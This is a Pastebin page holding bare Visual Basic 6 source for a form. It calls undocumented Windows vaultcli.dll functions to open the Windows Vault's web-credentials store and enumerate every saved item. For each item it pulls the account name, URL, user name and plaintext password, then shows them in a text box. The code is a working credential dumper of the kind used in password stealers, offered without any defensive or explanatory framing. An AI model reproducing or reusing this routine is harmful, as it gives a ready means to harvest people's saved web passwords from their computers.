Advertisement
Guest User

Untitled

a guest
Jul 30th, 2017
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.00 KB | None | 0 0
  1. Option Explicit
  2. Private Declare Function VaultOpenVault Lib "vaultcli.dll" (ByRef VaultGuid As GUID, ByVal dwFlags As Long, ByRef VaultHandle As Long) As Long
  3. Private Declare Function VaultCloseVault Lib "vaultcli.dll" (ByRef VaultHandle As Long) As Long
  4. Private Declare Function VaultEnumerateItems Lib "vaultcli.dll" (ByVal VaultHandle As Long, ByVal dwFlags As Long, ByRef ItemsCount As Long, ByRef Items As Long) As Long
  5. Private Declare Function VaultGetItem Lib "vaultcli.dll" (ByVal VaultHandle As Long, pSchemaId As GUID, ByVal pResource As Long, ByVal pIdentity As Long, ByVal pPackageSid As Long, ByVal hwndOwner As Long, ByVal dwFlags As Long, ppItem As Long) As Long
  6. Private Declare Function VaultFree Lib "vaultcli.dll" (ByVal ppItem As Long) As Long
  7.  
  8. Private Declare Function CLSIDFromString Lib "ole32" (ByVal str As Long, id As GUID) As Long
  9. Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
  10. Private Declare Function lstrlenW Lib "kernel32" (ByVal lpString As Long) As Long
  11.  
  12.  
  13. Private Enum VAULT_SCHEMA_ELEMENT_ID
  14. ElementId_Illegal = 0
  15. ElementId_Resource = 1
  16. ElementId_Identity = 2
  17. ElementId_Authenticator = 3
  18. ElementId_Tag = 4
  19. ElementId_PackageSid = 5
  20. ElementId_AppStart = &H64
  21. ElementId_AppEnd = &H2710
  22. End Enum
  23.  
  24. Private Enum VAULT_ELEMENT_TYPE
  25. ElementType_Boolean = 0
  26. ElementType_Short = 1
  27. ElementType_UnsignedShort = 2
  28. ElementType_Integer = 3
  29. ElementType_UnsignedInteger = 4
  30. ElementType_Double = 5
  31. ElementType_Guid = 6
  32. ElementType_String = 7
  33. ElementType_ByteArray = 8
  34. ElementType_TimeStamp = 9
  35. ElementType_ProtectedArray = 10
  36. ElementType_Attribute = 11
  37. ElementType_Sid = 12
  38. ElementType_Last = 13
  39. ElementType_Undefined = -1
  40. End Enum
  41.  
  42. Private Type FILETIME
  43. dwLowDateTime As Long
  44. dwHighDateTime As Long
  45. End Type
  46.  
  47. Private Type VAULT_VARIANT
  48. veType As VAULT_ELEMENT_TYPE
  49. Unknown As Long
  50. lpString As Long
  51. End Type
  52.  
  53. Private Type VAULT_ITEM_ELEMENT
  54. SchemaElementId As VAULT_SCHEMA_ELEMENT_ID
  55. Unknown As Long
  56. ItemValue As VAULT_VARIANT
  57. End Type
  58.  
  59. Private Type GUID
  60. Data1 As Long
  61. Data2 As Integer
  62. Data3 As Integer
  63. Data4(0 To 7) As Byte
  64. End Type
  65.  
  66. Private Type VAULT_ITEM_W8
  67. SchemaId As GUID
  68. pszCredentialFriendlyName As Long
  69. pResourceElement As Long ' VAULT_ITEM_ELEMENT
  70. pIdentityElement As Long ' VAULT_ITEM_ELEMENT
  71. pAuthenticatorElement As Long ' VAULT_ITEM_ELEMENT
  72. pPackageSid As Long ' VAULT_ITEM_ELEMENT
  73. LastModified As FILETIME
  74. dwFlags As Long
  75. dwPropertiesCount As Long
  76. pPropertyElements As Long ' VAULT_ITEM_ELEMENT
  77. End Type
  78.  
  79. Private Type VAULT_ITEM_W7
  80. SchemaId As GUID
  81. pszCredentialFriendlyName As Long
  82. pResourceElement As Long ' VAULT_ITEM_ELEMENT
  83. pIdentityElement As Long ' VAULT_ITEM_ELEMENT
  84. pAuthenticatorElement As Long ' VAULT_ITEM_ELEMENT
  85. LastModified As FILETIME
  86. dwFlags As Long
  87. dwPropertiesCount As Long
  88. pPropertyElements As Long ' VAULT_ITEM_ELEMENT
  89. End Type
  90.  
  91. Const WEB_CREDENTIALS As String = "{4BF4C442-9B8A-41A0-B380-DD4A704DDB28}"
  92. Const VAULT_ENUMERATE_ALL_ITEMS = 512
  93.  
  94. Public Function GetVaultCredentials() As String
  95. Dim tGUID As GUID
  96. Dim hVault As Long
  97. Dim ItemsCount As Long, i As Long
  98. Dim Items As Long
  99. Dim VI_W8() As VAULT_ITEM_W8
  100. Dim dwError As Long
  101. Dim ppCredentials As Long 'VAULT_ITEM_W8
  102. Dim tVIE As VAULT_ITEM_ELEMENT
  103. Dim sResult As String
  104. Dim tItemVault As VAULT_ITEM_W8
  105.  
  106. CLSIDFromString StrPtr(WEB_CREDENTIALS), tGUID
  107.  
  108. If VaultOpenVault(tGUID, 0, hVault) <> 0 Then Exit Function
  109.  
  110. Call VaultEnumerateItems(hVault, 0, ItemsCount, Items)
  111. ReDim VI_W8(ItemsCount - 1)
  112. CopyMemory VI_W8(0), ByVal Items, Len(VI_W8(0)) * ItemsCount
  113.  
  114. For i = 0 To ItemsCount - 1
  115. If VI_W8(i).dwPropertiesCount <> 0 Then
  116.  
  117. dwError = VaultGetItem(hVault, VI_W8(i).SchemaId, VI_W8(i).pResourceElement, VI_W8(i).pIdentityElement, 0&, 0&, 0&, ppCredentials)
  118.  
  119. If dwError = 0 Then
  120. sResult = sResult & "Account: " & PtrToString(VI_W8(i).pszCredentialFriendlyName)
  121.  
  122. CopyMemory tVIE, ByVal VI_W8(i).pResourceElement, Len(tVIE)
  123.  
  124. sResult = sResult & " URL: " & PtrToString(tVIE.ItemValue.lpString)
  125.  
  126. CopyMemory tVIE, ByVal VI_W8(i).pIdentityElement, Len(tVIE)
  127.  
  128. sResult = sResult & " User: " & PtrToString(tVIE.ItemValue.lpString)
  129.  
  130. CopyMemory tItemVault, ByVal ppCredentials, Len(tItemVault)
  131. CopyMemory tVIE, ByVal tItemVault.pAuthenticatorElement, Len(tVIE)
  132.  
  133. sResult = sResult & " Pass: " & PtrToString(tVIE.ItemValue.lpString) & vbCrLf
  134.  
  135. VaultFree (ppCredentials)
  136. ppCredentials = 0
  137. End If
  138. End If
  139. Next
  140.  
  141. VaultCloseVault (hVault)
  142.  
  143. GetVaultCredentials = sResult
  144. End Function
  145.  
  146. Private Function PtrToString(lpwString As Long) As String
  147. Dim Buffer() As Byte
  148. Dim nLen As Long
  149. If lpwString Then
  150. nLen = lstrlenW(lpwString) * 2
  151. If nLen Then
  152. ReDim Buffer(0 To (nLen - 1)) As Byte
  153. CopyMemory Buffer(0), ByVal lpwString, nLen
  154. PtrToString = Buffer
  155. End If
  156. End If
  157. End Function
  158.  
  159. Private Sub Form_Load()
  160. Text1.Text = GetVaultCredentials
  161. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement